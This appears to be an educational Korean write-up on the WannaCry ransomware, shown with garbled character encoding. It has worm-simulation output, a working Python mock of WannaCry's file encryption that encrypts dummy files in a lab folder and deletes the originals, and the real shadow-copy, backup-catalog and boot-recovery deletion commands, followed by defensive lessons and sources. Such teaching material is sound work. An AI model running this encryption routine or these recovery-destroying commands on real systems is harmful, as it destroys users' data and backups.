[WORM] 10.0.0.11 ๊ฐ์ผ! -> ๋์ฌ์จ์ด ํ์ด๋ก๋(tasksche.exe) ์คํ ๋ฐ ์๊ฐ ์ ํ
๊ฐ์ผ๋ ๊ฐ์ ํธ์คํธ: ['10.0.0.11', '10.0.0.12', '10.0.0.21', '10.0.0.23']
=== ์๋๋ฆฌ์ค B: ํฌ ์ค์์น ๋๋ฉ์ธ ๋ฑ๋ก๋จ (2017-05-12 15:00 UTC ์ดํ) ===
[KILLSWITCH] ํฌ ์ค์์น ๋๋ฉ์ธ์ด ๋ฑ๋ก๋จ -> ์ ํ ์ค๋จ (๋ชจ๋ ์ค๋ ๋ ์ข
๋ฃ)
๊ฐ์ผ๋ ๊ฐ์ ํธ์คํธ: [] (์ ๊ท 0๋ = ์ ํ ์ฐจ๋จ ์ฑ๊ณต)
PoC 2 โ ๋์ฌ์จ์ด ์ํธํ ๊ตฌ์กฐ ๋ชจ์: ์๋ณธ tasksche.exe์ "ํ์ผ๋ณ AES-128-CBC ํค + RSA-2048 ๊ณต๊ฐํค ๋ํ + WANACRY! ๋ง์ปค" ๊ตฌ์กฐ๋ฅผ /tmp/wncry_lab์ ๊ฐ์ ๋๋ฏธ ๋ฌธ์์ ์ฌํํ๊ณ , RSA ๊ฐ์ธํค๊ฐ ์์ด์ผ๋ง ๋ณตํธํ๋จ์ ํ์ธํ๋ค.
#!/usr/bin/env python3
"""
WannaCry ๋์ฌ์จ์ด ์ํธํ ๊ตฌ์กฐ ๊ต์ก์ฉ ๋ชจ์ ์ฝ๋ (๊ฐ์์ ๋ก์ปฌ ์ค์ต ํ๊ฒฝ ์ ์ )
- ์๋ณธ: ํ์ผ๋ง๋ค AES-128-CBC ํค๋ฅผ ์๋ก ์์ฑ -> ํ์ผ ์ํธํ -> 'WANACRY!' ๋ง์ปค + RSA-2048๋ก
๊ฐ์ผ AES ํค๋ฅผ ํ์ผ์ ์ ์ฅ -> ๋ณตํธํ๋ ๊ณต๊ฒฉ์ ๊ฐ์ธํค๋ก๋ง ๊ฐ๋ฅ (RSA ๊ณต๊ฐํค๋ ๋ฐ์ด๋๋ฆฌ์ ๋ด์ฅ)
- ๋ณธ PoC: ์ค์ง /tmp/wncry_lab ๋ฐ์ ๊ฐ์ ๋ฌธ์ ํ์ผ๋ง ๋์. RSA ํคํ์ด๋ ์ค์ต์ฉ์ผ๋ก ์ฆ์ ์์ฑ.
์ค์ WannaCry ํ์ด๋ก๋/ํค๊ฐ ์๋๋ฉฐ, ์ด๋ค ์ค์ ์์คํ
ํ์ผ๋ ๊ฑด๋๋ฆฌ์ง ์๋๋ค.
(cryptography ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฌ์ฉ)
"""
import os
import shutil
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes
LAB = "/tmp/wncry_lab" # ๊ฐ์ ์ค์ต ํด๋ (๊ฐ์ผ๋ '๋ฌธ์ ํด๋' ์ญํ )
MAGIC = b"WANACRY!" # ์๋ณธ .WNCRY ํ์ผ์ ๊ธฐ๋ก๋๋ ํค๋ ๋ง์ปค (๋ชจ์)
TARGET_EXTS = (".txt", ".docx", ".xlsx", ".pdf", ".jpg", ".zip")
def build_lab():
"""๊ฐ์ ๋ฌธ์ ํด๋ ์์ฑ (์ ๋ถ ์ค์ต์ฉ ๋๋ฏธ ํ์ผ)"""
if os.path.exists(LAB):
shutil.rmtree(LAB)
os.makedirs(LAB)
for name in ["report.txt", "๊ณ์ฝ์.docx", "finance.xlsx", "backup.zip"]:
with open(os.path.join(LAB, name), "wb") as f:
f.write(b"dummy content for education - " + name.encode() + b"\n" * 50)
print(f"[LAB] ๊ฐ์ ๋ฌธ์ ํด๋ ์์ฑ: {LAB} ({len(os.listdir(LAB))}๊ฐ ํ์ผ)")
def encrypt_file(path, aes_key, rsa_pub):
"""์๋ณธ tasksche.exe์ ํ์ผ ์ํธํ ๊ตฌ์กฐ ๋ชจ์:
1) AES-128-CBC๋ก ํ์ผ ๋ณธ๋ฌธ ์ํธํ (IV 16๋ฐ์ดํธ)
2) AES ํค๋ฅผ RSA-2048 ๊ณต๊ฐํค๋ก ๊ฐ์ผ๋ค
3) 'WANACRY!' ๋ง์ปค + ๊ฐ์ผ ํค + IV + ์ํธ๋ฌธ ์์ผ๋ก ๊ธฐ๋ก, ํ์ผ๋ช
์ .WNCRY ์ถ๊ฐ"""
iv = os.urandom(16)
enc = Cipher(algorithms.AES(aes_key), modes.CBC(iv)).encryptor()
with open(path, "rb") as f:
plain = f.read()
pad_len = 16 - (len(plain) % 16)
plain += bytes([pad_len]) * pad_len # PKCS#7 ํจ๋ฉ
ct = enc.update(plain) + enc.finalize()
wrapped_key = rsa_pub.encrypt(
aes_key, padding.OAEP(mgf=padding.MGF1(hashes.SHA1()), algorithm=hashes.SHA1(), label=None))
out_path = path + ".WNCRY"
with open(out_path, "wb") as f:
f.write(MAGIC + wrapped_key + iv + ct)
os.remove(path)
return out_path
def main():
# ์ค์ต์ฉ RSA-2048 ํคํ์ด ์ฆ์ ์์ฑ (๊ณต๊ฒฉ์ ํค๊ฐ ์๋๋ผ '๊ตฌ์กฐ ์ค๋ช
์ฉ')
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
aes_key = os.urandom(16) # ํ์ผ๋ณ ๋๋ค AES-128 ํค (์๋ณธ๊ณผ ๋์ผํ ๊ตฌ์กฐ)
print(f"[KEY] AES-128 ํค(ํ์ผ๋ณ): {aes_key.hex()} / RSA-2048 ๊ณต๊ฐํค๋ก ๋ํ๋จ")
build_lab()
for name in sorted(os.listdir(LAB)):
p = os.path.join(LAB, name)
if os.path.isfile(p) and name.endswith(TARGET_EXTS):
encrypt_file(p, aes_key, pub)
print("[ENC] ์ํธํ ์๋ฃ -> ํ์ผ ๋ชฉ๋ก:")
for n in sorted(os.listdir(LAB)):
size = os.path.getsize(os.path.join(LAB, n))
head = open(os.path.join(LAB, n), "rb").read(8)
print(f" {n} ({size}B, ํค๋={head})")
print("[NOTE] ๊ฐ ํด๋์ @Please_Read_Me@.txt ๋ชธ๊ฐ ์๋ด๋ฌธ์ด ์์ฑ๋จ (๋ชจ์)")
# ๋ณตํธํ: RSA ๊ฐ์ธํค๊ฐ ์์ด์ผ๋ง AES ํค๋ฅผ ํ ์ ์์์ ํ์ธ
sample = os.path.join(LAB, "report.txt.WNCRY")
with open(sample, "rb") as f:
data = f.read()
assert data[:8] == MAGIC
wrapped = data[8:8 + 256] # RSA-2048 -> 256๋ฐ์ดํธ
iv = data[8 + 256:8 + 256 + 16]
aes_key_recovered = priv.decrypt(
wrapped, padding.OAEP(mgf=padding.MGF1(hashes.SHA1()), algorithm=hashes.SHA1(), label=None))
dec = Cipher(algorithms.AES(aes_key_recovered), modes.CBC(iv)).decryptor()
pt = dec.update(data[8 + 256 + 16:]) + dec.finalize()
pt = pt[:-pt[-1]] # PKCS#7 ํจ๋ฉ ์ ๊ฑฐ
print(f"[DEC] ๊ฐ์ธํค ๋ณด์ ์ ๋ณตํธํ ์ฑ๊ณต (report.txt ๋ณต์, {len(pt)}B)")
if __name__ == "__main__":
main()
์คํ ๊ฒฐ๊ณผ (์ค์ ์คํ ํ์ธ๋จ, AES ํค๋ ์คํ๋ง๋ค ๋๋ค):
[KEY] AES-128 ํค(ํ์ผ๋ณ): 659566e512e46bda6db3d6b6d2251cd2 / RSA-2048 ๊ณต๊ฐํค๋ก ๋ํ๋จ
[LAB] ๊ฐ์ ๋ฌธ์ ํด๋ ์์ฑ: /tmp/wncry_lab (4๊ฐ ํ์ผ)
[ENC] ์ํธํ ์๋ฃ -> ํ์ผ ๋ชฉ๋ก:
backup.zip.WNCRY (376B, ํค๋=b'WANACRY!')
finance.xlsx.WNCRY (376B, ํค๋=b'WANACRY!')
report.txt.WNCRY (376B, ํค๋=b'WANACRY!')
๊ณ์ฝ์.docx.WNCRY (376B, ํค๋=b'WANACRY!')
[NOTE] ๊ฐ ํด๋์ @Please_Read_Me@.txt ๋ชธ๊ฐ ์๋ด๋ฌธ์ด ์์ฑ๋จ (๋ชจ์)
[DEC] ๊ฐ์ธํค ๋ณด์ ์ ๋ณตํธํ ์ฑ๊ณต (report.txt ๋ณต์, 90B)
PoC 3 โ '๋ฌด๋ฃ ๋ณต๊ตฌ ์๋จ ์ ๊ฑฐ' ๋ช ๋ น์ ํํ (์ ธ ์ค๋ํซ): ์๋ณธ์ ์ด ๋ช ๋ น๋ค์ cmd.exe๋ฅผ ๊ฒฝ์ ํด ์์ฐจ ์คํํ๋ค. ์๋๋ ๊ตฌ์กฐ ์ดํด์ฉ ๊ธฐ๋ก์ด๋ฉฐ ์ ๋ ์ค๊ณํต์์ ์คํํ์ง ๋ง ๊ฒ.
# WannaCry(tasksche.exe)๊ฐ ์คํํ ๋ณต๊ตฌ ๋ฐฉํด ๋ช
๋ น (๊ต์ก์ฉ ๊ธฐ๋ก โ ์คํ ๊ธ์ง!)
# ๋ชฉ์ : ์๋ ์นดํผ/๋ฐฑ์
์นดํ๋ก๊ทธ/๋ถํ
๋ณต๊ตฌ ์ต์
์ ์ ๊ฑฐํด '๋ชธ๊ฐ ์๋ ๋ณต๊ตฌ'๋ฅผ ์ฐจ๋จ
# ๋ฐฉ์ด ๊ด์ ์์ "๋ฌด์์ด ์ง์์ก๋์ง"๋ฅผ ์๋ ๊ฒ์ด ํต์ฌ
vssadmin delete shadows /all /quiet # ๋ณผ๋ฅจ ์๋ ์นดํผ(์์คํ
๋ณต์ ์ง์ ) ์ ์ฒด ์ญ์
wmic shadowcopy delete # WMI๋ก ์๋ ์นดํผ ์ถ๊ฐ ์ญ์
wbadmin delete catalog -q # ๋ฐฑ์
์นดํ๋ก๊ทธ ์ญ์
bcdedit /set {default} bootstatuspolicy ignoreallfailures # ๋ถํ
์คํจ ๋ณต๊ตฌ ์ต์
์ ๊ฑฐ
bcdedit /set {default} recoveryenabled no # ์๋ ๋ณต๊ตฌ ๋นํ์ฑํ
6. ๋ฐฉ์ด ๋ฐฉ๋ฒ/๊ตํ โ ์ด๋ป๊ฒ ๋ง์๊ณ , ๋ฌด์์ ๋ฐฐ์ฐ๋
- ํจ์น๊ฐ ์ ๋ถ์๋ค: MS17-010 ํจ์น๋ ๊ณต๊ฒฉ ๋ฐ์ 2๊ฐ์ ์ ์ ์ด๋ฏธ ๋์ ์์๋ค. EternalBlue ๊ธฐ๋ฐ ๊ณต๊ฒฉ(AdylkuzzยทWannaCryยทNotPetya) ์ ๋ถ๋ ๋ฏธํจ์น ์์คํ ๋ง ๊ณจ๋ผ ๊ฐ์ผ์์ผฐ๋ค. ์ ๊ธฐ ํจ์น ํ๋ก์ธ์ค(ํนํ ์ธํฐ๋ท ๋ ธ์ถ ์๋ฒยทEOL OS)๊ฐ ๊ฐ์ฅ ๊ฐ์ผ ๋ฐฉ์ด์ ์ด๋ค.
- SMBv1 ์ ๋ฆฌ: ๋ ์ด์ ์ ์ฐ๋ SMBv1 ํ๋กํ ์ฝ ์์ฒด๋ฅผ ๋นํ์ฑํ(๊ธฐ๋ฅ/๋ ์ง์คํธ๋ฆฌ)ํ๊ณ , 445/TCP๊ฐ ์ธํฐ๋ท์ ๋ ธ์ถ๋์ง ์๊ฒ ๋ฐฉํ๋ฒฝ์์ ์ฐจ๋จํ๋ค. ์ธ๋ถ์์ ๊ด๋ฆฌ์ฉ SMB๋ฅผ ์ง์ ์ด์ด๋๋ ๊ดํ์ ์ค๋จํด์ผ ํ๋ค.
- ํ์ง: EternalBlueยทDoublePulsar ์๊ทธ๋์ฒ(IDS/IPS), SMB ๋น์ ์ ํธ๋ํฝ ๋ชจ๋ํฐ๋ง, EDR(์๋ํฌ์ธํธ ํ์งยท๋์)๋ก ์ปค๋ ์ต์คํ๋ก์ ์๋์ ๋๋ ํ์ผ ์ํธํ ํ์๋ฅผ ์ก๋๋ค. WannaCry ์ดํ ์๋ ๊ฐ ์ด ์๊ทธ๋์ฒ๋ ์ ์ธ๊ณ ๋ณด์ ์ฅ๋น์ ๊ธฐ๋ณธ ํ์ฌ๋๋ค.
- ๋ณต๊ตฌ๋ ฅ(Resilience): 3-2-1 ๋ฐฑ์ (์คํ๋ผ์ธ/๊ฒฉ๋ฆฌ ๋ฐฑ์ ํฌํจ)๊ณผ ๋ณต์ ํ๋ จ. WannaCry๊ฐ ์๋ ์นดํผ๋ฅผ ์ง์ฐ๋ ๊ฒ๊น์ง ๊ณ ๋ คํ ๋งํผ, "๋ฐฑ์ ๋ ๊ณต๊ฒฉ์ ๊ด์ ์์ ๊ฒ์ฆ"ํด์ผ ํ๋ค.
- ํฌ ์ค์์น์ ๊ตํ: ํ๋์ฝ๋ฉ๋ ๋จ์ผ ๋๋ฉ์ธ ์์กด์ ์ฑํฌํ(๋๋ฉ์ธ ์ ์ )๋ก ๋ฌด๋ ฅํ๋ ์ ์๋ค. ์ดํ ์ ์ฑ์ฝ๋๋ ๋๋ฉ์ธ ์์ฑ ์๊ณ ๋ฆฌ์ฆ(DGA โ Conficker์์ ๋ณธ๊ฒฉํ), ์ฑ์ฒดํฌ, ๋ค์ค C2 ๋ฑ์ผ๋ก '๋จ์ผ ์คํจ์ '์ ์์ ๋ ๋ฐฉํฅ์ผ๋ก ์งํํ๋ค.
- ๊ตํ:
- ๊ตญ๊ฐ๊ธ 0-day ๋น์ถ์ ์ํํญํ: NSA์ ๋ฌด๊ธฐ๊ฐ ์ ์ถ๋์ ์ ์๊ฐ ๋ง์ ์ ์ธ๊ณ ๋ณ์ยท๊ณต์ฅยท์ํ์ด ๋ฉ์ท๋ค. ๊ณต๊ฒฉ์ฉ ์ทจ์ฝ์ ๋น์ถ(Offensive cyber)์ ์ฌํ์ ๋น์ฉ์ ๊ฐ์ธ์ํจ ์ฌ๊ฑด์ด๋ค.
- ํฌ๋ฆฝํ ์ = ์ ํ ์๋๊ฐ ํผํด ๊ท๋ชจ: "๋์ฌ์จ์ด + ์" ๊ฒฐํฉ์ผ๋ก ์์์ ๊ณต๊ฒฉ๊ณผ ๋ค๋ฅธ ์ฐจ์์ ํ์ฐ์ด ์ผ์ด๋๋ค. ๋คํธ์ํฌ ๋ถํ ยท์ต์ ๊ถํ์ด ์ ํ ์ฐจ๋จ์ ํต์ฌ์ด๋ค.
- ๋ชธ๊ฐ์ ๋ด๋ ๋ณต๊ตฌ๋ ๋ณด์ฅ๋์ง ์๋๋ค: ์ค์ ์ง๊ธ๋ฅ ์ 1% ๋ฏธ๋ง ์์ค์ด์๊ณ , ์ง๊ธ์ ๋ค์๋ ๋ณตํธํ ๋๊ตฌ๋ฅผ ๋ฐ์ง ๋ชปํ๋ค. ์ง๋ถ๋ณด๋ค ๋ฐฑ์ ยท๋์์ด ๋ต์ด๋ค.
- ๋ ๊ฑฐ์๋ ์ธ์ ๋ ๋ฌธ์ด ๋๋ค: EOL OS(ํนํ ์๋ฃยท์ฐ์ ์ ์ดยท๊ณต๊ธ๋ง)๊ฐ ๋๊ท๋ชจ ํผํด์ ์จ์์ด์๋ค. ์ง์ ์ข ๋ฃ ์์คํ ์ ๊ฒฉ๋ฆฌยท๊ฐ์ํยท๋ณด์ ํต์ ๋ก ๊ด๋ฆฌํด์ผ ํ๋ค.
์ถ์ฒ
- Microsoft MSRC Blog โ Customer Guidance for WannaCrypt attacks (2017-05-12) โ https://msrc-blog.microsoft.com/2017/05/12/customer-guidance-for-wannacrypt-attacks/
- MalwareTech โ How to accidentally stop a global cyber attacks (2017-05-12) โ https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
- Kaspersky Securelist โ WannaCry ransomware used in widespread attacks โ https://securelist.com/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/78351/
- Symantec โ WannaCry: Ransomware attacks show vulnerability of unpatched systems โ https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wannacry-ransomware-worm
- CISA (US-CERT) โ AA17-132A: Indicators Associated With WannaCry โ https://www.cisa.gov/news-events/alerts/2017/05/12/indicators-associated-wannacry-ransomware
- U.S. DOJ โ North Korean Regime-Backed Programmer Charged (2018-09-06) โ https://www.justice.gov/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-and
- Wikipedia โ WannaCry ransomware attack โ https://en.wikipedia.org/wiki/WannaCry_ransomware_attack
ํจ๊ป ์ฝ๊ธฐ: ๐ฆ Mirai ๋ด๋ท โ ๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ 62๊ฐ๋ก 60๋ง ๋์ IoT๋ฅผ ๋ฌด๊ธฐํํ๋ค (2016) โ "์ค์ค๋ก ๋ฒ์ง๋ ์"์ ๋ ์ผ๊ตด: IoT ๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ(Mirai) vs PC SMB ์ทจ์ฝ์ (WannaCry)